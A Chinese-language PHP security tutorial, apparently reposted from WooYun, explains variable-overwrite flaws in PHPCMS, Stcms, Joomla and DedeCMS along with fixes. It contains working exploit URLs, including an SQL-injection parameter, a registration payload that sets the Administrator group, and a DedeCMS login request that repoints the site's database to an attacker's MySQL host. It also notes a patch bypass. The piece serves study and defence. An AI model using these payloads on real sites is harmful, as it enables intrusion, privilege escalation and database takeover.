php之變數覆蓋漏洞講解

來源:互聯網
上載者:User

標籤:discuz   http   io   ar   os   sp   for   strong   檔案   

1.變數沒有初始化的問題(1):

wooyun串連1:[link href="WooYun: PHPCMS V9 member表內容隨意修改漏洞"]tenzy[/link] 

$updateinfo[‘password‘] = $newpassword;裡面的數組沒有初始化類似這樣的賦值,我們在挖洞的時候搜尋類似updateinfo這樣的關鍵字看看 

是否初始化,如果沒有。。。且register_global=On支援 

可以提交 
updateinfo[amount]這樣的數組隨意修改自己的餘額、點數、會員組、VIP等一切存放在member表的資訊. 

修複:$updateinfo = array();

變數沒有初始化的問題(2): 
wooyun串連2:[link href="WooYun: Stcms的一個sql注射"]Zvall[/link] 
裡面說明了繞過程式的防禦,這個是導致注入的一個因素. 更多因素是因為where變數沒有初始化! 
case ‘list‘: 
   
    $totalNum = $mysql->numTable("member", $where);

Where 沒初始化 導致可執行任意sql語句 
http://localhost/stcms_html/member/u.php?action=list&where={sql}

修複:在類調用前加上$where=‘‘;

我們在挖洞的時候搜尋類似where這樣的關鍵字看,看看是否初始化. 

變數沒有初始化的問題(3): 
wooyun串連3: [link href="WooYun: joomla變數覆蓋導致註冊提權漏洞"]牛奶坦克[/link] 

// 這個地方擷取使用者註冊資訊,POST進來的jform數組,但是沒有詳細指定 
$requestData = JRequest::getVar(‘jform‘, array(), ‘post‘, ‘array‘); 

$data = (array)$this->getData(); 
// 遍曆出註冊資訊 
foreach ($temp as $k => $v) { 
$data[$k] = $v; 
}

看似沒問題的可是二維數組的特性可以覆蓋住: 
jfrom[groups][]=7,利用foreach的問題覆蓋掉groups數組,變成7(Administrator)。 
修複:像wooyun串連1那樣$updateinfo[‘password‘] = $newpassword類似這樣賦值。 或者檢查數組是否為二維。 

2.核心代碼配置問題引發變數覆蓋: 
Dedecms:例子(1): 
一. 瞭解PHP超級全域變數 
        下面是PHP的超級全域變數,可以瞭解一個特性,全是數組。 
        $GLOBALS, 所有全域變數數組 
        $_SERVER, 伺服器環境變數數組 
        $_GET,通過GET方法傳遞給指令碼的變數數組 
        $_POST, 通過POST方法傳遞給指令碼的變數數組 
        $_COOKIE,cookie變數數組 
        $_REQUEST,所有使用者輸入的變數數組,包括$_GET, $_POST和$_COOKIE所包含的輸入內容 
        $_FILES,與檔案上傳相關得變數數組 
        $_ENV,環境變數數組 
        $_SESSION,會話變數數組 

二:理解$_GET變數
 
可以寫個PHP來看看: 
<?php 
        var_dump($_GET); 
        ?>


訪問 
      http://www.xxx.com /test.php?key=value
        得到 
      array(1) { ["key"]=> string(5) "value" }
        OK,看到這裡應該明白了,$_GET就是個數組,我們用GET方法可以傳一個數組。 
         

        再訪問 
      http://www.xxx.com /test.php?key[arr1]=value
        得到 
  array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
        我們通過GET方法傳入了一個嵌套數組。 
         

                        到這裡其實問題就出來了,很多PHP安全資料都沒提過GET傳嵌套數組的這個特性,偶爾在幾個exploit裡看到 - -! 
                         

                        三. 深入跟進DEDECMS全域變數註冊漏洞 
                         

                        真正理解了$_GET變數後,我們來深入跟進這個漏洞產生的真正原因,類比一下漏洞的全過程: 
                         

                        提交一個嵌套數組: 
                                          http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X 
                 
                                                                        array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=> 

array(1) { ["cfg_dbname"]=> string(1) "X" } } }
     

                 
         
         
                        假如資料傳入了DEDECMS程式,在第一層過濾,DEDECMS會檢查$_REQUEST裡有沒有全域變數的關鍵字,但我們的KEY 

是_POST且是個數組,所以輕鬆繞過。 
            foreach($_REQUEST as $_k=>$_v) 
                { 
                if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)‘,$_k) ) 
                { 
                        exit(‘Request var not allow!‘); 
                } 
                }
   

                        接著進入真正的註冊變數流程,按順序是先從$_GET變數註冊的,我們的KEY是(_POST),第一輪遍曆$_GET成功註冊 

了變數$_POST,第二輪遍曆$_POST成功註冊了變數$GLOBALS ! 
                                                foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request) 
                        { 
                        foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); 
                        }

         
                        到這裡漏洞的原因就清楚了,程式通過$_GET註冊了$_POST,通過$_POST註冊了$GLOBALS! 
                         

         
                        四. 領悟漏洞後的修補 
         
                        完全領悟這個漏洞後,就會知道怎麼修補了。 
         
                        1. 可以看看DISCUZ是怎麼做的,當發現KEY的第一個字元存在_就不註冊變數。 
                         

                  foreach(array(‘_COOKIE‘, ‘_POST‘, ‘_GET‘) as $_request) { 
                foreach($$_request as $_key => $_value) { 
                  $_key{0} != ‘_‘ && $$_key = daddslashes($_value); 
                } 
                }

                         

                        2. DEDECMS可以用下面的方法臨時修補,當遍曆$_POST註冊變數,發現變數名存在GLOBALS就會阻止註冊變數。 
        foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request) 
                        { 
                                 foreach($$_request as $_k => $_v) { 
                                            if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)‘,$_k) ){ 
                                                    exit(‘Request var not allow!‘); 
                                           } 
                                            ${$_k} = _RunMagicQuotes($_v); 
                            } 
                        }




例子exp:http://www.xx.com/織夢網站後台/login.php?dopost=login&validate=dcug&userid=帳號&pwd=密碼& _POST[GLOBALS] 

[cfg_dbhost]=MYSQL外鏈IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的帳號&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密碼& _POST[GLOBALS] 

[cfg_dbname]=自己的dedecms的資料庫


Dedecms:例子(2): 突破官網補丁(雞助) 
0x5sec 

為什麼超全域變數$_REQUEST沒有讀取到$_COOKIE的參數呢?這個是php 5.3以後php.ini預設設定 
request_order = "GP",所以你懂的!如果你修改request_order = "GPC",$_REQUEST應該就可以接受到參數了! 
所以如果php是大於5.3的,變數覆蓋漏洞應該可以再次利用!
 

CheckRequest($_REQUEST);   //這裡檢查變數是否合法 漏洞缺陷!$_COOKIE的參數根本不鳥他。。。 

更多串連:https://forum.90sec.org/thread-2476-1-1.html 

https://forum.90sec.org/thread-2468-1-1.html 


3.Yaseng php變數覆蓋執行個體: 
Yaseng 介紹得很詳細了,各種突破. 


對於Dedecms例子2中:有部分人說& _POST[0xHEX 16進位][cfg_dbhost] //GLOBALS這樣能繞過? 本人測試多次不成功,可能是某些問題,也可能 
是假的. 

原文地址:http://zone.wooyun.org/content/1872

php之變數覆蓋漏洞講解

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.